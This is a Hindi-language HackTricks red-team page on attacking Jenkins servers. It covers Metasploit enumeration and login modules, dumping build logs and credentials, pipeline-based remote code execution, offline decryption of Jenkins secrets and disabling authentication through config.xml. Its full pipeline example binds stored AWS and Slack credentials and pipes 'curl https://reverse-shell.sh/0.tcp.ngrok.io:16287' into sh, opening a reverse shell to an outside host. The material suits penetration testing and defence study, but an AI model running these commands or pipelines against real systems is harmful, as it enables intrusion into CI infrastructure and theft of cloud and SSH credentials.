Jenkins Security

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

Jenkins एक उपकरण है जो continuous integration या continuous delivery (CI/CD) वातावरण की स्थापना के लिए एक सरल विधि प्रदान करता है जो लगभग किसी भी प्रोग्रामिंग भाषाओं और स्रोत कोड रिपॉजिटरीज के संयोजन के लिए pipelines का उपयोग करता है। इसके अलावा, यह विभिन्न नियमित विकास कार्यों को स्वचालित करता है। जबकि Jenkins व्यक्तिगत चरणों के लिए स्क्रिप्ट बनाने की आवश्यकता को समाप्त नहीं करता, यह निर्माण, परीक्षण, और तैनाती उपकरणों की पूरी श्रृंखला को एकीकृत करने का एक तेज और अधिक मजबूत तरीका प्रदान करता है जिसे आसानी से मैन्युअल रूप से निर्मित किया जा सकता है।

pageBasic Jenkins Information

अप्रमाणित गणना

प्रमाणीकरण के बिना दिलचस्प Jenkins पृष्ठों की खोज करने के लिए जैसे (/people या /asynchPeople, यह वर्तमान उपयोगकर्ताओं की सूची दिखाता है) आप उपयोग कर सकते हैं:

msf> use auxiliary/scanner/http/jenkins_enum

जांचें कि क्या आप बिना प्रमाणीकरण के आवश्यकता के कमांड निष्पादित कर सकते हैं:

msf> use auxiliary/scanner/http/jenkins_command

बिना प्रमाण-पत्र के आप /asynchPeople/ पथ या /securityRealm/user/admin/search/index?q= में उपयोगकर्ता नाम देख सकते हैं।

आप /oops या /error पथ से Jenkins संस्करण प्राप्त कर सकते हैं।

ज्ञात कमजोरियां

लॉगिन

मूल जानकारी में आप Jenkins के अंदर लॉगिन करने के सभी तरीके जांच सकते हैं:

pageBasic Jenkins Information

रजिस्टर

आप Jenkins इंस्टेंसेस पा सकते हैं जो आपको एक खाता बनाने और उसके अंदर लॉगिन करने की अनुमति देते हैं। बस इतना ही सरल।

SSO लॉगिन

यदि SSO कार्यक्षमता/प्लगइन्स मौजूद होते हैं, तो आपको एक परीक्षण खाते का उपयोग करके एप्लिकेशन में लॉग-इन करने का प्रयास करना चाहिए (उदाहरण के लिए, एक परीक्षण Github/Bitbucket खाता). यहाँ से चाल यहाँ.

ब्रूटफोर्स

Jenkins में पासवर्ड नीति और उपयोगकर्ता नाम ब्रूट-फोर्स निवारण की कमी है। कमजोर पासवर्ड या उपयोगकर्ता नाम के रूप में पासवर्ड का उपयोग हो सकता है, यहां तक कि उलटे उपयोगकर्ता नाम के रूप में पासवर्ड भी, इसलिए उपयोगकर्ताओं को ब्रूट-फोर्स करना आवश्यक है।

msf> use auxiliary/scanner/http/jenkins_login

पासवर्ड स्प्रेइंग

यह पायथन स्क्रिप्ट या यह पॉवरशेल स्क्रिप्ट का उपयोग करें।

IP व्हाइटलिस्टिंग बायपास

कई संगठन SaaS-आधारित सोर्स कंट्रोल मैनेजमेंट (SCM) सिस्टम्स जैसे कि GitHub या GitLab को आंतरिक, स्व-होस्टेड CI समाधान जैसे कि Jenkins या TeamCity के साथ जोड़ते हैं। यह सेटअप CI सिस्टम्स को SaaS सोर्स कंट्रोल वेंडर्स से वेबहुक इवेंट्स प्राप्त करने की अनुमति देता है, मुख्य रूप से पाइपलाइन जॉब्स को ट्रिगर करने के लिए।

इसे प्राप्त करने के लिए, संगठन SCM प्लेटफॉर्म्स के IP रेंजेस को व्हाइटलिस्ट करते हैं, जिससे उन्हें आंतरिक CI सिस्टम तक वेबहुक्स के माध्यम से पहुंचने की अनुमति मिलती है। हालांकि, यह महत्वपूर्ण है कि कोई भी GitHub या GitLab पर एक खाता बना सकता है और इसे वेबहुक ट्रिगर करने के लिए कॉन्फ़िगर कर सकता है, संभवतः आंतरिक CI सिस्टम को अनुरोध भेज सकता है।

जांचें: https://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/

आंतरिक Jenkins दुरुपयोग

इन परिदृश्यों में हम मान रहे हैं कि आपके पास Jenkins तक पहुंचने के लिए एक मान्य खाता है।

Jenkins में कॉन्फ़िगर किए गए Authorization तंत्र और समझौता किए गए उपयोगकर्ता की अनुमति के आधार पर आप निम्नलिखित हमलों को करने में सक्षम हो सकते हैं या नहीं।

अधिक जानकारी के लिए मूल जानकारी देखें:

pageBasic Jenkins Information

उपयोगकर्ताओं की सूची बनाना

यदि आपने Jenkins तक पहुंच प्राप्त की है तो आप http://127.0.0.1:8080/asynchPeople/ पर अन्य पंजीकृत उपयोगकर्ताओं की सूची बना सकते हैं।

बिल्ड्स को डंप करना ताकि स्पष्ट पाठ रहस्यों का पता चल सके

बिल्ड कंसोल आउटपुट्स और बिल्ड वातावरण चर को डंप करने के लिए यह स्क्रिप्ट का उपयोग करें ताकि स्पष्ट पाठ रहस्यों का पता चल सके।

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

SSH प्रमाण-पत्र चुराना

यदि समझौता किया गया उपयोगकर्ता के पास नए Jenkins नोड को बनाने/संशोधित करने के लिए पर्याप्त अधिकार हैं और SSH प्रमाण-पत्र पहले से ही अन्य नोड्स तक पहुँचने के लिए संग्रहीत हैं, तो वह उन प्रमाण-पत्रों को चुरा सकता है एक नोड बनाकर/संशोधित करके और एक होस्ट सेट करके जो प्रमाण-पत्रों को रिकॉर्ड करेगा बिना होस्ट की कुंजी की पुष्टि किए:

आपको आमतौर पर Jenkins ssh प्रमाण-पत्र एक वैश्विक प्रदाता (/credentials/) में मिलेंगे, इसलिए आप उन्हें डंप कर सकते हैं जैसे आप किसी अन्य गुप्त को डंप करेंगे। अधिक जानकारी के लिए गुप्त डंपिंग अनुभाग देखें।

Jenkins में RCE

Jenkins सर्वर में शेल प्राप्त करना हमलावर को सभी गुप्त और env चर को लीक करने और समान नेटवर्क में स्थित अन्य मशीनों का शोषण करने या यहां तक कि क्लाउड प्रमाण-पत्र एकत्र करने का अवसर देता है।

डिफ़ॉल्ट रूप से, Jenkins SYSTEM के रूप में चलेगा। इसलिए, इसे समझौता करने से हमलावर को SYSTEM अधिकार मिलेंगे।

प्रोजेक्ट बनाना/संशोधित करके RCE प्राप्त करना

प्रोजेक्ट बनाना/संशोधित करना Jenkins सर्वर पर RCE प्राप्त करने का एक तरीका है:

pageJenkins RCE Creating/Modifying Project

Groovy स्क्रिप्ट निष्पादित करके RCE प्राप्त करना

आप Groovy स्क्रिप्ट निष्पादित करके भी RCE प्राप्त कर सकते हैं, जो नया प्रोजेक्ट बनाने से अधिक चुपके से हो सकता है:

pageJenkins RCE with Groovy Script

पाइपलाइन बनाना/संशोधित करके RCE प्राप्त करना

आप पाइपलाइन बनाना/संशोधित करके भी RCE प्राप्त कर सकते हैं:

pageJenkins RCE Creating/Modifying Pipeline

पाइपलाइन शोषण

पाइपलाइनों का शोषण करने के लिए आपको अभी भी Jenkins तक पहुँच की आवश्यकता है।

बिल्ड पाइपलाइन्स

पाइपलाइन्स का उपयोग प्रोजेक्ट्स में बिल्ड तंत्र के रूप में भी किया जा सकता है, ऐसे मामले में एक फ़ाइल को रिपॉजिटरी के अंदर कॉन्फ़िगर किया जा सकता है जिसमें पाइपलाइन सिंटैक्स होगा। डिफ़ॉल्ट रूप से /Jenkinsfile का उपयोग किया जाता है:

यह भी संभव है कि पाइपलाइन कॉन्फ़िगरेशन फ़ाइलों को अन्य स्थानों पर संग्रहीत किया जाए (उदाहरण के लिए अन्य रिपॉजिटरीज़ में) रिपॉजिटरी पहुँच और पाइपलाइन पहुँच को अलग करने के उद्देश्य से।

यदि हमलावर के पास उस फ़ाइल पर लिखने की पहुँच है तो वह इसे संशोधित कर सकता है और संभावित रूप से पाइपलाइन को ट्रिगर कर सकता है बिना Jenkins तक पहुँच के। संभव है कि हमलावर को कुछ शाखा सुरक्षा उपायों को दरकिनार करने की आवश्यकता हो (मंच और उपयोगकर्ता अधिकारों के आधार पर इन्हें दरकिनार किया जा सकता है या नहीं)।

कस्टम पाइपलाइन को निष्पादित करने के लिए सबसे आम ट्रिगर हैं:

  • मुख्य शाखा में (या संभावित रूप से अन्य शाखाओं में) पुल अनुरोध

  • मुख्य शाखा में (या संभावित रूप से अन्य शाखाओं में) पुश

  • मुख्य शाखा को अपडेट करें और प्रतीक्षा करें जब तक यह किसी तरह से निष्पादित न हो जाए

यदि आप एक बाहरी उपयोगकर्ता हैं तो आपको उम्मीद नहीं करनी चाहिए कि आप अन्य उपयोगकर्ता/संगठन की रिपॉजिटरी की मुख्य शाखा में एक PR बना सकते हैं और पाइपलाइन को ट्रिगर कर सकते हैं... लेकिन यदि यह खराब कॉन्फ़िगर किया गया है तो आप इसका शोषण करके पूरी तरह से कंपनियों को समझौता कर सकते हैं।

पाइपलाइन RCE

पिछले RCE अनुभाग में पहले ही एक तकनीक का संकेत दिया गया था जिससे पाइपलाइन में संशोधन करके RCE प्राप्त किया जा सकता है

Env चर की जाँच करना

संपूर्ण पाइपलाइन के लिए या विशिष्ट चरणों के लिए स्पष्ट पाठ env चर घोषित करना संभव है। इन env चरों में संवेदनशील जानकारी नहीं होनी चाहिए, लेकिन हमलावर हमेशा सभी पाइपलाइन कॉन्फ़िगरेशन/Jenkinsfiles की जाँच कर सकता है

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

सीक्रेट्स डंप करना

Jenkins द्वारा सीक्रेट्स को कैसे संभाला जाता है, इसकी जानकारी के लिए मूल जानकारी देखें:

pageBasic Jenkins Information

प्रमाण-पत्र वैश्विक प्रदाताओं के लिए स्कोप किए जा सकते हैं (/credentials/) या विशिष्ट प्रोजेक्ट्स के लिए (/job/<project-name>/configure). इसलिए, उन सभी को निकालने के लिए आपको कम से कम सभी प्रोजेक्ट्स को समझौता करना होगा जिसमें सीक्रेट्स होते हैं और कस्टम/जहरीले पाइपलाइन्स को निष्पादित करना होगा।

एक और समस्या है, पाइपलाइन के env के अंदर एक सीक्रेट प्राप्त करने के लिए आपको सीक्रेट का नाम और प्रकार जानना आवश्यक है। उदाहरण के लिए, आप usernamePassword सीक्रेट को एक string सीक्रेट के रूप में लोड करने की कोशिश करते हैं, तो आपको यह त्रुटि मिलेगी:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

यहाँ आपके पास कुछ सामान्य गुप्त प्रकारों को लोड करने का तरीका है:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

इस पृष्ठ के अंत में आप सभी प्रमाणीकरण प्रकारों को खोज सकते हैं: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

सभी गुप्त सूचनाओं को एक साथ डंप करने का सबसे अच्छा तरीका Jenkins मशीन को समझौता करके है (उदाहरण के लिए built-in node में एक रिवर्स शेल चलाकर) और फिर मास्टर कुंजियों और एन्क्रिप्टेड गुप्त सूचनाओं को लीक करके और उन्हें ऑफलाइन डिक्रिप्ट करके। इसे कैसे करें इस पर अधिक जानकारी Nodes & Agents अनुभाग और Post Exploitation अनुभाग में मिलेगी।

ट्रिगर्स

डॉक्स से: triggers निर्देश उन स्वचालित तरीकों को परिभाषित करता है जिनसे पाइपलाइन को पुनः ट्रिगर किया जाना चाहिए। GitHub या BitBucket जैसे स्रोत के साथ एकीकृत पाइपलाइनों के लिए, triggers की आवश्यकता नहीं हो सकती है क्योंकि वेबहुक-आधारित एकीकरण पहले से ही मौजूद हो सकता है। वर्तमान में उपलब्ध ट्रिगर्स cron, pollSCM और upstream हैं।

Cron उदाहरण:

triggers { cron('H */4 * * 1-5') }

डॉक्स में अन्य उदाहरण देखें

नोड्स और एजेंट्स

एक Jenkins इंस्टेंस में विभिन्न मशीनों में चल रहे विभिन्न एजेंट्स हो सकते हैं। हमलावर के दृष्टिकोण से, विभिन्न मशीनों तक पहुंच का मतलब है विभिन्न संभावित क्लाउड क्रेडेंशियल्स जिन्हें चुराया जा सकता है या विभिन्न नेटवर्क एक्सेस जिनका दुरुपयोग करके अन्य मशीनों का शोषण किया जा सकता है।

अधिक जानकारी के लिए मूल जानकारी देखें:

pageBasic Jenkins Information

आप /computer/ में कॉन्फ़िगर किए गए नोड्स को गिन सकते हैं, आपको आमतौर पर **Built-In Node ** (जो Jenkins चला रहा है) और संभवतः और भी मिलेंगे:

Built-In node को समझौता करना विशेष रूप से दिलचस्प है क्योंकि इसमें संवेदनशील Jenkins जानकारी होती है।

यह दर्शाने के लिए कि आप built-in Jenkins node में pipeline को चलाना चाहते हैं, आप पाइपलाइन के अंदर निम्नलिखित कॉन्फ़िग को निर्दिष्ट कर सकते हैं:

pipeline {
agent {label 'built-in'}

पूर्ण उदाहरण

एक विशिष्ट एजेंट में पाइपलाइन, क्रॉन ट्रिगर के साथ, पाइपलाइन और स्टेज env वेरिएबल्स के साथ, एक स्टेप में 2 वेरिएबल्स लोड करना और एक रिवर्स शेल भेजना:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

पोस्ट एक्सप्लॉइटेशन

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins रहस्य

आप /credentials/ पर जाकर रहस्यों की सूची देख सकते हैं, यदि आपके पास पर्याप्त अनुमतियां हैं। ध्यान दें कि यह केवल credentials.xml फ़ाइल के अंदर के रहस्यों की सूची बनाएगा, परंतु build configuration files में भी अधिक credentials हो सकते हैं।

यदि आप प्रत्येक प्रोजेक्ट की कॉन्फ़िगरेशन देख सकते हैं, तो आप वहां पर उपयोग किए जा रहे credentials (रहस्यों) के नाम और प्रोजेक्ट के अन्य credentials भी देख सकते हैं।

Groovy से

pageJenkins Dumping Secrets from Groovy

डिस्क से

ये फ़ाइलें Jenkins रहस्यों को डिक्रिप्ट करने के लिए आवश्यक हैं:

  • secrets/master.key

  • secrets/hudson.util.Secret

ऐसे रहस्य आमतौर पर मिल सकते हैं:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

यहाँ उन्हें खोजने के लिए एक regex है:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

जेनकिंस सीक्रेट्स को ऑफलाइन डिक्रिप्ट करें

यदि आपने सीक्रेट्स को डिक्रिप्ट करने के लिए आवश्यक पासवर्ड्स डंप कर लिए हैं, तो इस स्क्रिप्ट का उपयोग करके उन सीक्रेट्स को डिक्रिप्ट करें

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Groovy से Jenkins रहस्यों को डिक्रिप्ट करें

println(hudson.util.Secret.decrypt("{...}"))

नया एडमिन यूजर बनाएं

  1. Jenkins की config.xml फाइल तक पहुंचें /var/lib/jenkins/config.xml या C:\Program Files (x86)\Jenkis\

  2. शब्द <useSecurity>true</useSecurity> को खोजें और शब्द true को false में बदलें।

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Jenkins सर्वर को रीस्टार्ट करें: service jenkins restart

  5. अब फिर से Jenkins पोर्टल पर जाएं और इस बार Jenkins कोई क्रेडेंशियल्स नहीं मांगेगा। आप "Manage Jenkins" पर जाकर एडमिनिस्ट्रेटर पासवर्ड फिर से सेट करें।

  6. सेटिंग्स को <useSecurity>true</useSecurity> में बदलकर सिक्योरिटी को फिर से इनेबल करें और Jenkins को फिर से रीस्टार्ट करें।

संदर्भ

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated